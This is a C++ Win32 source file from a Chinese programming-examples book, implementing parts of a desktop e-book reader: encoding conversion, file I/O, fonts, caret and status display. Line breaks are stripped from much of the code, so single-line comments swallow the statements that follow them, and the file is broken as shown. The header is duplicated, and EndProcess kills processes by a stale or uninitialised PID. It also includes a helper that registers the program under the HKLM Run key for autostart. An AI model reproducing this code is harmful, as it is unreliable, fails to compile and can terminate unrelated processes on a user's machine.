/* 最后修改:2020-09-21 14:04
《C++编程示例大全》 作者:张国鹏

本例功能:C++ 纯WIN32 API编程 悦读器实战示例
软件下载:http://lovegp.cn/gpbook.exe

本书撰写及整理:张国鹏 2020年6月22日

c++win32程序编译环境搭建

使用语言:C++11
编辑工具:Notepad++ v7.8.5 下载地址:https://notepad-plus-plus.org/downloads/
编译工具:tdm-gcc-5.1.0-3(32位)下载地址:https://jmeubank.github.io/tdm-gcc/

安装好以上软件即搭建完成!

注意事项:本书所载代码均为ANSI格式,切勿转为UTF-8格式,否则可能造成不可预料的结果!

Notepad++快速运行代码:按F5,输入以下指令,即可编译并运行C++ WIN32程序:
方式一:cmd /k cd /d "$(CURRENT_DIRECTORY)" & g++ -std=gnu++11 "$(FILE_NAME)" -o "$(NAME_PART)" &  "$(NAME_PART).exe
方式二:cmd /k cd /d "$(CURRENT_DIRECTORY)" & g++ -std=gnu++11 "$(FILE_NAME)" -o "$(NAME_PART)"  -static-libgcc -lgdi32 -lcomdlg32 -lgdiplus -lwininet -lwinmm -lwinspool & "$(NAME_PART).exe

如果程序含有windows.h以外的库,则用方式二编译即可。
如果不需要CMD窗口出现,编译指令加上这句:-mwindows

编译指令加上这句:-std=gnu++11,即采用c++11编译

声明:书中所有例子部份为本人亲自码出,部份自网上收集整理,如有涉及版权,请联系作者,Email:lovegp@139.com。
修改日志:
    2020-09-21 22:03 增加了ftp上传下载文件时显示进度条,采取线程技术进行进度显示;
*/

 /* 最后修改:2020-09-21 14:04
《C++编程示例大全》 作者:张国鹏本例功能:C++ 纯WIN32 API编程 悦读器实战示例
软件下载:http://lovegp.cn/gpbook.exe本书撰写及整理:张国鹏 2020年6月22日c++win32程序编译环境搭建使用语言:C++11
编辑工具:Notepad++ v7.8.5 下载地址:https://notepad-plus-plus.org/downloads/
编译工具:tdm-gcc-5.1.0-3(32位)下载地址:https://jmeubank.github.io/tdm-gcc/安装好以上软件即搭建完成!注意事项:本书所载代码均为ANSI格式,切勿转为UTF-8格式,否则可能造成不可预料的结果!Notepad++快速运行代码:按F5,输入以下指令,即可编译并运行C++ WIN32程序:
方式一:cmd /k cd /d "$(CURRENT_DIRECTORY)" & g++ -std=gnu++11 "$(FILE_NAME)" -o "$(NAME_PART)" &  "$(NAME_PART).exe
方式二:cmd /k cd /d "$(CURRENT_DIRECTORY)" & g++ -std=gnu++11 "$(FILE_NAME)" -o "$(NAME_PART)"  -static-libgcc -lgdi32 -lcomdlg32 -lgdiplus -lwininet -lwinmm -lwinspool & "$(NAME_PART).exe如果程序含有windows.h以外的库,则用方式二编译即可。
如果不需要CMD窗口出现,编译指令加上这句:-mwindows编译指令加上这句:-std=gnu++11,即采用c++11编译声明:书中所有例子部份为本人亲自码出,部份自网上收集整理,如有涉及版权,请联系作者,Email:lovegp@139.com。
修改日志:2020-09-21 22:03 增加了ftp上传下载文件时显示进度条,采取线程技术进行进度显示;
*/#include <windows.h>   //GetModuleFileName, GetCurrentDirectory,GetWindowsDirectory, GetSystemDirectory
#include <string>
#include <vector>
#include <wininet.h>//wininet.lib ftp http等要用的头文件,同时在GCC时,要这样链接:gcc -o a a.o resource.o -static-libgcc -lgdi32 -lcomdlg32 -lwininet,编译前要将wininet.lib文件找到,并拷到GCC\LIB目录下才可正常编译!
#include <Commdlg.h>//不用这个头文件也行噢 Commdlg.h 文件里封装了 Windows 公用对话框(比如打开文件,保存文件,打印相关等对话框)的 API,包含了这个头文件以后,就可以在单元中使用公用对话框相关的函数和结构定义等。
#include <Mmsystem.h>//winmm.lib-PlaySound播放声音要用到 不用这个头文件也行噢
#include "resource.h"
#include <stdio.h>//wprintf, printf,sprintf
#include <winspool.h>//这是支持打印的头文件,库文件是:winspool.lib,要把这个文件复制到d:\gcc\lib,编译时:gcc -o a a.o resource.o -static-libgcc -lgdi32 -lcomdlg32 -lwininet -lwinspool
#include <ctime>
#include <fstream>
#include <iostream>
#include <tlhelp32.h>//进程操作#include <sqlext.h> //MSSQL数据库操作 这个应该是必须的, 链结时需要odbc32.lib
#include <algorithm>
#include <cctype> /*这是VC的预编译语句,在GCC里是不能用的
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "winmm.lib")
#pragma comment(lib, "comdlg32.lib") */using namespace std;//注意一定要写这句//控件ID#define ID_TIMER1 10011
#define ID_TIMER2 10012#define IDD_TEXT1 1002
#define IDD_TEXT2 1003
#define IDD_TEXT3 1004
#define IDD_TEXT4 1005
#define IDD_TEXT5 10051
#define IDD_TEXT6 10052
#define IDD_TEXT7 10053
#define IDD_TEXT8 10054
#define IDD_TEXT9 10055
#define IDD_TEXT10 10056
#define IDD_TEXT11 10057
#define IDD_TEXT12 10058
#define IDD_TEXT13 10058#define IDD_EDIT1 1006
#define IDD_EDIT2 1007
#define IDD_EDIT3 10071
#define IDD_EDIT4 10072
#define IDD_EDIT5 10073
#define IDD_EDIT7 10074
#define IDD_EDIT8 10075
#define IDD_EDIT9 10076
#define IDD_EDIT10 10077
#define IDD_EDIT11 10078#define IDD_LISTBOX1 1008
#define IDD_LISTBOX2 1009#define IDD_BUTTON1 10091
#define IDD_BUTTON2 1010
#define IDD_BUTTON3 1011
#define IDD_BUTTON4 1012
#define IDD_BUTTON5 1013
#define IDD_BUTTON6 1014
#define IDD_BUTTON7 1015
#define IDD_BUTTON8 1016
#define IDD_BUTTON9 1017
#define IDD_BUTTON10 1018#define IDD_TALK2_BROUPBOX1 2001
#define IDD_TALK2_BROUPBOX2 20011
#define IDD_TALK2_LISTBOX1 2002
#define IDD_TALK2_LISTBOX2 20021
#define IDD_TALK2_TEXT1  2003
#define IDD_TALK2_TEXT2  20031
#define IDD_TALK2_BUTTON1  2004
#define IDD_TALK2_BUTTON2  2005
#define IDD_TALK2_EDIT1  2006#define IDD_TALK3_MEMO1  2007
#define IDD_TALK3_BUTTON1  2008#define IDD_TALK4_BROUPBOX1  2009
#define IDD_TALK4_TEXT1  2010
#define IDD_TALK4_TEXT2  2011
#define IDD_TALK4_EDIT1  2012
#define IDD_TALK4_EDIT2  2013
#define IDD_TALK4_BUTTON1  2014
#define IDD_TALK4_BUTTON2  2015
#define IDD_TALK4_BUTTON3  2016#define IDD_TALK5_LISTBOX1  2017#define IDD_TALK6_MEMO1  2018#define IDD_TALK7_LISTBOX1  2019
#define IDD_TALK7_TEXT1  2020
#define IDD_TALK7_EDIT1  2021/托盘程序所用参数定义///
#define WM_TRAY (WM_USER + 100)//托盘消息
#define WM_TASKBAR_CREATED RegisterWindowMessage(TEXT("TaskbarCreated"))
#define IDI_TRAY    9100//icoNOTIFYICONDATA nid;        //托盘属性
HMENU hMenu;            //托盘菜单
//HWND MAIN_hwnd;
/托盘程序所用参数定义/////控件句柄
HWND KJ_EDIT1;
HWND KJ_EDIT2;
HWND KJ_EDIT3;
HWND KJ_EDIT4;
HWND KJ_EDIT5;
HWND KJ_EDIT6;
HWND KJ_EDIT7;
HWND KJ_EDIT8;
HWND KJ_EDIT9;
HWND KJ_EDIT10;
HWND KJ_EDIT11;HWND KJ_LISTBOX1;
HWND KJ_LISTBOX2;HWND KJ_TEXT1;
HWND KJ_TEXT2;
HWND KJ_TEXT3;
HWND KJ_TEXT4;
HWND KJ_TEXT5;
HWND KJ_TEXT6;
HWND KJ_TEXT7;
HWND KJ_TEXT8;
HWND KJ_TEXT9;
HWND KJ_TEXT10;
HWND KJ_TEXT11;
HWND KJ_TEXT12;
HWND KJ_TEXT13;HWND KJ_BUTTON1;
HWND KJ_BUTTON2;
HWND KJ_BUTTON3;
HWND KJ_BUTTON4;
HWND KJ_BUTTON5;
HWND KJ_BUTTON6;
HWND KJ_BUTTON7;
HWND KJ_BUTTON8;
HWND KJ_BUTTON9;
HWND KJ_BUTTON10;HWND KJ_TALK2_BROUPBOX1;
HWND KJ_TALK2_BROUPBOX2;
HWND KJ_TALK2_LISTBOX1;
HWND KJ_TALK2_LISTBOX2;
HWND KJ_TALK2_TEXT1;
HWND KJ_TALK2_TEXT2;
HWND KJ_TALK2_BUTTON1;
HWND KJ_TALK2_BUTTON2;
HWND KJ_TALK2_EDIT1;HWND KJ_TALK3_MEMO1;
HWND KJ_TALK3_BUTTON1;HWND KJ_TALK4_BROUPBOX1;
HWND KJ_TALK4_TEXT1;
HWND KJ_TALK4_TEXT2;
HWND KJ_TALK4_EDIT1;
HWND KJ_TALK4_EDIT2;
HWND KJ_TALK4_BUTTON1;
HWND KJ_TALK4_BUTTON2;
HWND KJ_TALK4_BUTTON3;HWND KJ_TALK5_LISTBOX1;HWND KJ_TALK6_MEMO1;HWND KJ_TALK7_LISTBOX1;
HWND KJ_TALK7_TEXT1;
HWND KJ_TALK7_EDIT1;//全局变量//.HWND MAIN_hwnd,talk1,talk2,talk3,talk4,talk5,talk6,talk7,talk8,talk9,talk10,about;                     //定义窗口类句柄RECT r;
LOGFONT LogFont;//字体变量static HFONT hFont,hOldFont,hFont1,hFont2;
static int cxChar,cyChar,cxChar1,cyChar1;//字符的宽度和高度
static int cxClient; //得到客户区宽度
static int cyClient; //得到客户区高度  bool canedit=false;
int CaretPosx=0, CaretPosy=0;//光标显示的坐标
int CaretPoshang=0, CaretPoslie=0;//光标在文本的行与列位置
int showx1=0,showx2=0,showy=0;//文本显示的的左上角坐标初始值wstring bookstr;//调入内存的电子书内容
string FileName="";//电子书全称
vector<string> showstr;//当前屏幕正在显示的字符串数组
vector<string> printstr;//当前为打印准备的字符串数组
vector<string> booklist;//保存书本清单char IniFullPath[MAX_PATH];//用于存放INI文件全路径
char ztname[20];//字体名称int beginwz,endwz,currentwz;//一页中开始位置beginwz及结束位置endwz,当前光标的位置currentwz
int Lie=0,Hang=0,HJJ=20,wz=0;//列、行、行间距、阅读位置
int ztdx=20;   //字体大小
int ll=1;//显示模式,1=一栏式,2=两栏模式,3=两栏背景图模式DWORD bjs=0,zts=12632256;//16777215白色;char inputstr[MAX_PATH];//查找书籍里内容LONG Oldtalk2editProc,Oldtalk4editProc,oldtalk4buttonproc,Oldtalk6memoProc;string booknr;//读取网上书籍存临时放在这里
string bookname;//临时书籍名
string bookid="-1";//当前书本ID
string urlpage="1";//书籍清单第几页
string username,password;//用户名及密码
char searchstr[50];string bjtpath;//背景图路径char hz[2];int hzi=0;
int workcx=500;//工作区宽度
int workcy=500;//工作区高度
bool havemove=false;//编辑状态下,保存有没有选择文字的移动
int selbhang,selblie,selehang,selelie;//被选中的文本开始行、列及结束行、列
bool haveedit=false;int BookPreview=1;int zbj=50;//左右边距
int sbj=50;//上下边距
float sfbl=1;//缩放比例int printztdx=26;
//线程用的参数
int yx1=0;
DWORD jdtzs=0,jdtss=0;RECT mrect_one,mrect_two,mrect_tree;//上中下,左中右部份坐标
HINSTANCE hinst;
//自定义函数// 将指定尺寸的窗口居中显示
void ZGP_windowstoclient(HWND hwnd,int FORMx,int FORMy)
{// 将指定尺寸的窗口居中显示//使用示例:ZGP_windowstoclient(hwnd,500,500);//int cx = GetSystemMetrics(SM_CXSCREEN);          //获取屏幕宽度//int cy = GetSystemMetrics(SM_CYSCREEN);          //获取屏幕高度RECT rt;SystemParametersInfo(SPI_GETWORKAREA,   0,   &rt,   0);    // 获得桌面工作区大小int cx=rt.right-rt.left;int cy=rt.bottom-rt.top;int FORMleft = cx - FORMx;int FORMtop = cy - FORMy;FORMleft = FORMleft / 2;                 //新建窗口居中显示FORMtop = FORMtop /2;    MoveWindow(hwnd,FORMleft,FORMtop,FORMx,FORMy,TRUE);
} //判断目录是否存在
bool dirExists(string dirName_in)
{DWORD ftyp = GetFileAttributesA(dirName_in.c_str());if (ftyp == INVALID_FILE_ATTRIBUTES)return false;  //something is wrong with your path!if (ftyp & FILE_ATTRIBUTE_DIRECTORY)return true;   // this is a directory!return false;    // this is not a directory!
}//结束指定ID的进程
BOOL KillProcessById(DWORD pID)
{ HANDLE Hwnd; bool ret = FALSE; Hwnd = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE,0,pID); if (Hwnd) { if (TerminateProcess(Hwnd, 0)) { ret = true; } } return ret;
} //结束指定进程
void EndProcess(string processstr)
{int pid;string exefile;PROCESSENTRY32 pe32;//再使用这个结构体前先定义它的大小pe32.dwSize=sizeof(pe32);//给系统内的所有进程拍一个快照HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (hProcessSnap==INVALID_HANDLE_VALUE){printf("Create ToolHelp32Snaphhot调用失败!\n");return;}BOOL bMore=::Process32First(hProcessSnap,&pe32);while(bMore){bMore=::Process32Next(hProcessSnap,&pe32);exefile=pe32.szExeFile;if (processstr.find(exefile)!=-1)pid =pe32.th32ProcessID;KillProcessById(pid);}::CloseHandle(hProcessSnap);}//根据文件路径获取文件名称
string getFileNameByFilePath(string filePath){int pos = filePath.find_last_of('\\');return filePath.substr(pos + 1);
}void createStringReg(HKEY hRoot,char *szSubKey,char* valueName,char *Data)
{ HKEY hKey; //打开注册表键,不存在则创建它 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL); //KEY_ALL_ACCESSif (lRet!=ERROR_SUCCESS) { MessageBox(NULL,"操作注册表失败!-打开注册表键","提示",0);return ; } //修改注册表键值,没有则创建它 lRet=RegSetValueEx(hKey,valueName,0,REG_SZ,(BYTE*)Data,strlen(Data)); if (lRet!=ERROR_SUCCESS) { MessageBox(NULL,"操作注册表失败!-修改注册表键值","提示",0);return ; } RegCloseKey(hKey);
} //添加开机启动到注册表
void addToAutoRun(string filePath){string name = getFileNameByFilePath(filePath);createStringReg(HKEY_LOCAL_MACHINE, (char *)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", (char *)name.c_str(), (char *)filePath.c_str());
} //判断字符是否是ASCII码字符
bool isAscll(string str)
{char *pszStr=(char *)str.c_str();if ((pszStr[0] & 0x80 ) == 0x80) {return false;}else{return true;}
}
void movechinese()
{string s=showstr[CaretPoshang];int fz1=0;int i=0;while (s.find("   ")!=-1){i++;fz1=s.find("  ");s.erase(fz1,1);}showstr[CaretPoshang]=s;string s1;
/*                  s1=s[CaretPoslie];if (isAscll(s1)){printf("isAscll:%s\n",s1.c_str());}else{s1=s1+s[CaretPoslie+1];printf("not isAscll:%s\n",s1.c_str());printf("s:%s\n",s.substr(CaretPoslie).c_str());} */if (CaretPoslie>0 && CaretPoslie<=s.length()-1){int count=0;int i=0;while (i<s.length()-1)//必须用这种算法才能准确统计出Ascll的字数{s1=s[i];if (isAscll(s1) and i<CaretPoslie){     count++;i++;//printf("我操:%s,i:%d\n",s1.c_str(),i);}else{i++;i++;}}//printf("CaretPoslie:%d,count:%d,%d\n",CaretPoslie,count,(CaretPoslie-count)%2);if ((CaretPoslie-count)%2!=0) {CaretPoslie--;if (CaretPoshang<Hang){CaretPosx=showx1+CaretPoslie*cxChar;}else{CaretPosx=showx2+CaretPoslie*cxChar;}}}
}// 判断是否是Win10系统
BOOL IsWin10System()
{//string与CString转换//string sPath = (LPCSTR)(CStringA)(strPath);std::string vname;// 先判断是否为win8.1或win10typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);HINSTANCE hinst = LoadLibrary("ntdll.dll");DWORD dwMajor, dwMinor, dwBuildNumber;NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");proc(&dwMajor, &dwMinor, &dwBuildNumber);if (dwMajor == 10 && dwMinor == 0){return TRUE;}return FALSE;
}//将字符串以16进制形式显示出来
string hzto16(char * str)
{
//"人物传记"=〉%C8%CB%CE%EF%B4%AB%BC%C7int i;char res[300];char *jg;for (i = 0; i < strlen(str); i++){sprintf(res+i*3, "%%%02X ", (unsigned char)str[i]);}jg=res;return jg;
}bool checkfile(string filename)
{
//判断文件是否存在char* str=(char*)filename.c_str();HANDLE pfile;pfile = ::CreateFile(str,//要打开的文件名;GENERIC_READ,//如果是GENERIC_READ表示允许对设备进行读访问;如果是GENERIC_WRITE表示允许对设备进行写访问(可以组合使用);如果是0,表示只允许获取与一个设备有关的信息;0,//定义共享模式。如果是0表示不共享;是FILE_SHARE_READ和/或FILE_SHARE_WRITE表示允许对文件进行共享;NULL,//指向一个SECURITY_ATTRIBUTES结构的指针,定义了文件的安全特性;OPEN_EXISTING,//指定当文件存在或不存在时的操作。常见的操作有5种:CREATE_NEW:创建文件,如果文件存在会出错;CREATE_ALWAYS:创建文件,会修改前一个文件;OPEN_EXISTING:文件已经存在;OPEN_ALWAYS:如果不存在就创建;TRUNCATE_EXISTING:将现有的文件缩短为零长度;FILE_ATTRIBUTE_NORMAL,//表示新创建文件的属性。文件的常见属性有5种:FILE_ATTRIBUTE_ARCHIVE:标记为归档属性;FILE_ATTRIBUTE_NORMAL:默认属性;FILE_ATTRIBUTE_HIDDEN:隐藏文件或目录;FILE_ATTRIBUTE_READONLY:文件为只读;FILE_ATTRIBUTE_SYSTEM:文件为系统文件;NULL//指向用于存储的文件句柄;如果不为0,则指定一个文件句柄,新的文件将从这个文件中复制扩展属性;); // 用这个函数比OpenFile好
//  HANDLE hCreateFile = CreateFile((char *)bookname.c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);if ( pfile == INVALID_HANDLE_VALUE){CloseHandle(pfile); // 一定注意在函数退出之前对句柄进行释放。return false;}else{CloseHandle(pfile); // 一定注意在函数退出之前对句柄进行释放。return true;      }
}//1.  ANSI to Unicode  string to wstring
wstring ANSIToUnicode( const string& str )
{int  len = 0;len = str.length();int  unicodeLen = ::MultiByteToWideChar( CP_ACP,0,str.c_str(),-1,NULL,0 );wchar_t *  pUnicode;pUnicode = new  wchar_t[unicodeLen+1];memset(pUnicode,0,(unicodeLen+1)*sizeof(wchar_t));::MultiByteToWideChar( CP_ACP,0,str.c_str(),-1,(LPWSTR)pUnicode,unicodeLen );wstring  rt;rt = ( wchar_t* )pUnicode;delete  pUnicode;return  rt;
}//2.  Unicode to ANSI  wstring to string
string UnicodeToANSI( const wstring& str )
{char*     pElementText;int    iTextLen;// wide char to multi chariTextLen = WideCharToMultiByte( CP_ACP,0,str.c_str(),-1,NULL,0,NULL,NULL );pElementText = new char[iTextLen + 1];memset( ( void* )pElementText, 0, sizeof( char ) * ( iTextLen + 1 ) );::WideCharToMultiByte( CP_ACP,0,str.c_str(),-1,pElementText,iTextLen,NULL,NULL );string strText;strText = pElementText;delete[] pElementText;return strText;
}
//3.  UTF-8 to Unicode
wstring UTF8ToUnicode( const string& str )
{int  len = 0;len = str.length();int  unicodeLen = ::MultiByteToWideChar( CP_UTF8,0,str.c_str(),-1,NULL,0 );wchar_t *  pUnicode;pUnicode = new  wchar_t[unicodeLen+1];memset(pUnicode,0,(unicodeLen+1)*sizeof(wchar_t));::MultiByteToWideChar( CP_UTF8,0,str.c_str(),-1,(LPWSTR)pUnicode,unicodeLen );wstring  rt;rt = ( wchar_t* )pUnicode;delete  pUnicode;return  rt;
}
//4.  Unicode to UTF-8
string UnicodeToUTF8( const wstring& str )
{char*     pElementText;int    iTextLen;// wide char to multi chariTextLen = WideCharToMultiByte( CP_UTF8,0,str.c_str(),-1,NULL,0,NULL,NULL );pElementText = new char[iTextLen + 1];memset( ( void* )pElementText, 0, sizeof( char ) * ( iTextLen + 1 ) );::WideCharToMultiByte( CP_UTF8,0,str.c_str(),-1,pElementText,iTextLen,NULL,NULL );string strText;strText = pElementText;delete[] pElementText;return strText;
}//读取UNICODE编码格式文本文件
wstring readUNICODE(string fileName)
{size_t index = 2;wstring wstrLine;ifstream  fin;fin.open(fileName.c_str(), ios::binary);if(!fin.is_open()){string temp="打开文件错误:"+fileName;    wstrLine=ANSIToUnicode(temp); return wstrLine;}//wstrLine.clear;while (!fin.eof()){fin.seekg(index, ios::beg);wchar_t wch;fin.read((char *)(&wch), 2);wstrLine.append(1, wch);index += 2;}return wstrLine;
}//获取当前程序路径  返回路径带“\”号
char* Get_Run_Path_ZGP()
{/*示例://获取当前程序路径  返回路径带“\”号int len;char str[80],exeFullPath[MAX_PATH];strcpy(exeFullPath,Get_Run_Path_ZGP());//获取当前程序路径len = strlen(exeFullPath);strcpy(exeFullPath+len,"config.ini");*/char temp_RunPath[MAX_PATH];char *p = NULL;GetModuleFileName(NULL,temp_RunPath,MAX_PATH);//得到当前运行程序全称p=strrchr(temp_RunPath, '\\')+1;  //屏蔽掉项目名称  查找一个字符c在另一个字符串str中末次出现的位置*p='\0';char * Get_Run_Path = new char[strlen(temp_RunPath)+1];strcpy(Get_Run_Path, temp_RunPath);//return Get_Run_Path;
}//将指定的内容写入指定的文件
void WriteToFile(string str_write,string FN)
{DWORD dwWritten;int i=str_write.length();if (i==0){if (MessageBox(NULL,"你确定要保存空白数据吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDNO ){return;}} i++;char* buff=new char[i+10]; //在使用malloc()函数申请的空间之前,最好用memset()函数把这段内存空间清理一下,//因为用malloc()函数申请的空间仅仅保      证的是内存空间的大小,并不保证内存空间是否有数据垃圾//char *p;//p = (char *)malloc(10*sizeof(char));//memset(p,0,10*sizeof(char));//free( buff ); //用了malloc(),就一定要搭配free来使用//char* buffer=new char[filesize+1]; //delete[] buffer;//用了new,就要搭配delete[]来使用memset(buff,0,i*sizeof(char));//将申请的内存清零,注意,申请的内存用完后一定要释放,用delete[] buff;                       buff=(char*)str_write.c_str();HANDLE hCreateFile = CreateFile((char *)FN.c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);WriteFile(hCreateFile, buff, i*sizeof(char), &dwWritten, NULL);   buff='\0';//这句很重要,不然delete[] buff会出错,不知是什么原因???delete[] buff;CloseHandle(hCreateFile);//关闭文件句柄 }wstring ReadFile(string filename)
{char* str=(char*)filename.c_str();HANDLE pfile;pfile = ::CreateFile(str,//要打开的文件名;P506GENERIC_READ,//如果是GENERIC_READ表示允许对设备进行读访问;如果是GENERIC_WRITE表示允许对设备进行写访问(可以组合使用);如果是0,表示只允许获取与一个设备有关的信息;0,//定义共享模式。如果是0表示不共享;是FILE_SHARE_READ和/或FILE_SHARE_WRITE表示允许对文件进行共享;NULL,//指向一个SECURITY_ATTRIBUTES结构的指针,定义了文件的安全特性;OPEN_EXISTING,//OPEN_EXISTING是指打开文件,如果文件不存在,则函数调用失败;CREATE_NEW是指创建一个新文件,如果指定的文件已经存在,则函数调用失败;。常见的操作有5种:CREATE_NEW:创建文件,如果文件存在会出错;CREATE_ALWAYS:创建文件,会修改前一个文件;OPEN_EXISTING:文件已经存在;OPEN_ALWAYS:如果不存在就创建;TRUNCATE_EXISTING:将现有的文件缩短为零长度;FILE_ATTRIBUTE_NORMAL,//表示新创建文件的属性。文件的常见属性有5种:FILE_ATTRIBUTE_ARCHIVE:标记为归档属性;FILE_ATTRIBUTE_NORMAL:默认属性;FILE_ATTRIBUTE_HIDDEN:隐藏文件或目录;FILE_ATTRIBUTE_READONLY:文件为只读;FILE_ATTRIBUTE_SYSTEM:文件为系统文件;NULL//指向用于存储的文件句柄;如果不为0,则指定一个文件句柄,新的文件将从这个文件中复制扩展属性;); // 用这个函数比OpenFile好
//  HANDLE hCreateFile = CreateFile((char *)bookname.c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);if ( pfile == INVALID_HANDLE_VALUE){CloseHandle(pfile); // 一定注意在函数退出之前对句柄进行释放。char temp[300]="欢迎使用阅读器,本软件使用C++语言纯WIN API研制而成,仅为学习C++技术使用,禁止用作商业用途,本软件所使用的书籍均自网络收集,如涉无意侵犯作者权益,请联系:lovegp@139.com,本软件作者主页:http://lovegp.cn 作者:张国鹏"; return ANSIToUnicode(temp);}DWORD filesize=GetFileSize(pfile,NULL);//得到指定文件的字节大小char* buffer=new char[filesize+1]; // 最后一位为 '/0',C-Style 字符串的结束符。memset(buffer,0,filesize+1);//将申请的内存清零,注意,申请的内存用完后一定要释放,用delete[] buff;                    // char *buffer;//buffer=(char*)malloc(filesize);DWORD readsize;ReadFile(pfile,buffer,filesize,&readsize,NULL);CloseHandle(pfile); // 关闭句柄。 会删除掉被读取的文件,何解?答:使用了这个参数FILE_FLAG_DELETE_ON_CLOSE 关闭了上一次打开的句柄后,将文件删除。特别适合临时文件buffer[filesize]=0;char temp[100];sprintf(temp,"%02X%02X%02X",buffer[0],buffer[1],buffer[2]);//MessageBox( NULL,temp ,"OK",MB_OK);string sbm=temp;//识别码string wjgs="ansi";//文件格式string tempstr=buffer;wstring tempstr1;int n;if ((n = sbm.find("FFFFFFEFFFFFFFBBFFFFFFBF")) != string::npos || sbm.find("3D3D3D") != string::npos) //查找 u 出现的位置{//如果是UTF8文件,则进行以下处理wjgs="utf8";tempstr = tempstr.substr(3);//如果是UTF8从第3个开始取数据tempstr1 = UTF8ToUnicode(tempstr);}elseif ((n = sbm.find("FFFFFFFFFFFFFFFE")) != string::npos) //查找 u 出现的位置{//如果是UNICODE文件,则进行以下处理wjgs="unicode";tempstr1=readUNICODE(filename);}else{//如果是ANSI文件,则进行以下处理tempstr1=ANSIToUnicode(tempstr);}// 善后工作buffer='\0';delete[] buffer; // 注意是delete[] 而不是 deletereturn tempstr1;}// 建立指定大小的字体 HFONT hfont=CreateFont("宋体",25);
HFONT CreateFont(char * fontname,int fontsize)
{//设置字体参数LOGFONT LogFont;memset(&LogFont,0,sizeof(LOGFONT));lstrcpy(LogFont.lfFaceName,fontname);LogFont.lfWidth=0;//字体宽度LogFont.lfHeight=fontsize;//字体高度 LogFont.lfWeight=0;//粗体 取值: 0-1000LogFont.lfCharSet=134; //字符集LogFont.lfOutPrecision=3;//输出精度LogFont.lfClipPrecision=2;//剪裁精度LogFont.lfOrientation=45;//基线角度LogFont.lfQuality=1;//输出质量LogFont.lfPitchAndFamily=0;//间距及字族LogFont.lfUnderline=0;//下划线LogFont.lfItalic=0;//斜体LogFont.lfStrikeOut=0;//删除线LogFont.lfEscapement=0;//角度, 单位是 1/10 度,900就竖着显示//创建字体return CreateFontIndirect(&LogFont);/* WinAPI: CreateFontIndirect - 根据字体结构建立逻辑字体//声明:CreateFontIndirect(const p1: TLogFont {字体结构}): HFONT;            {返回新字体指针}//TLogFont 是 tagLOGFONTA 结构的重定义:tagLOGFONTA = packed recordlfHeight: Longint;      {字体高度}lfWidth: Longint;       {字体平均宽度}lfEscapement: Longint;  {角度, 单位是 1/10 度}lfOrientation: Longint; {基线角度}lfWeight: Longint;      {粗体, 取值: 0-1000}lfItalic: Byte;         {斜体}lfUnderline: Byte;      {下划线}lfStrikeOut: Byte;      {删除线}lfCharSet: Byte;        {字符集}lfOutPrecision: Byte;   {输出精度}lfClipPrecision: Byte;  {剪裁精度}lfQuality: Byte;        {输出质量}lfPitchAndFamily: Byte; {间距及字族}lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar; {字样名称}end; */}//将光标移动到指定位置,前提条件是要设好CaretPoshang、CaretPoslie两个全局变量
void moveCaret()
{                           if (canedit){if (CaretPoshang>Hang-1){CaretPosy=showy+(CaretPoshang-Hang)*(cyChar+HJJ);//showy是页面的上距CaretPosx=showx2+CaretPoslie*cxChar;//showx2是第2页的页边距-两栏模式}else{CaretPosy=showy+CaretPoshang*(cyChar+HJJ);CaretPosx=showx1+CaretPoslie*cxChar;//showx1是第1页的页边距-两栏模式}movechinese();//判断当前光标位置是不是在汉字的中间,如果是,则光标左移一位//InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景SetCaretPos (CaretPosx, CaretPosy) ; //将光标设置到指定位置//显示行、列信息HDC hdc=GetDC(MAIN_hwnd);hFont1=CreateFont((char*)"宋体",15);//用于显示信息栏HBRUSH hbrush1 = CreateSolidBrush(bjs);//画刷的着色黑色SelectObject(hdc,hFont1);//选择字体SelectObject( hdc, hbrush1 );//选择画刷SetBkMode(hdc,TRANSPARENT);// 设置TextOut文本背景色模式为透明 //得到当前字体的高度和宽度TEXTMETRIC tm ;GetTextMetrics (hdc, &tm) ;int cxChar1 = tm.tmAveCharWidth;int cyChar1 = tm.tmHeight + tm.tmExternalLeading ;SetTextColor(hdc, zts );//设置字体着色8454143SetTextColor(hdc, zts );//设置字体着色8454143char ls1[MAX_PATH];double zs=(double)endwz/bookstr.length()*100;    //获取书名char ls2[MAX_PATH];int fz=FileName.rfind('\\');//string.rfind  从字符串右边开始找字符,返回位置int fz1=FileName.find('.');string zs1;if (fz1==-1){zs1=FileName.substr(fz+1);  // s2 = "is i"          }else{zs1=FileName.substr(fz+1,FileName.size()-fz-1-4);  // s2 = "is i"    }sprintf(ls2,"%s",(char*)zs1.c_str());//书名if (canedit){   sprintf(ls1,"阅:%.2f%%《%s》行:%d,列:%d 总字数:%d 用户:%s",zs,ls2,CaretPoshang,CaretPoslie,bookstr.size(),username.c_str());}else{   sprintf(ls1,"阅:%.2f%%《%s》用户:%s",zs,ls2,username.c_str());}         int js=strlen(ls1);HRGN mrgn;mrgn=CreateRectRgn(0,cyClient-18,cxClient,cyClient-18+cyChar1);//376创建一个矩形区域FillRgn(hdc,mrgn,hbrush1);//用指定的画刷填充矩形区域    //显示信息if (ll==3){ TextOut(hdc,40,cyClient-18,ls1,js);     //输出到窗口的文本  }if (ll==1 or ll==2){TextOut(hdc,5,cyClient-18,ls1,js);     //输出到窗口的文本  }DeleteObject(hFont1) ;//必须要删除,不然内存会被吃光      DeleteObject(hbrush1) ;//必须要删除,不然内存会被吃光  ReleaseDC(MAIN_hwnd,hdc); }
}//编辑BOOKSTR里内容,并刷新显示;
void editbookstr()
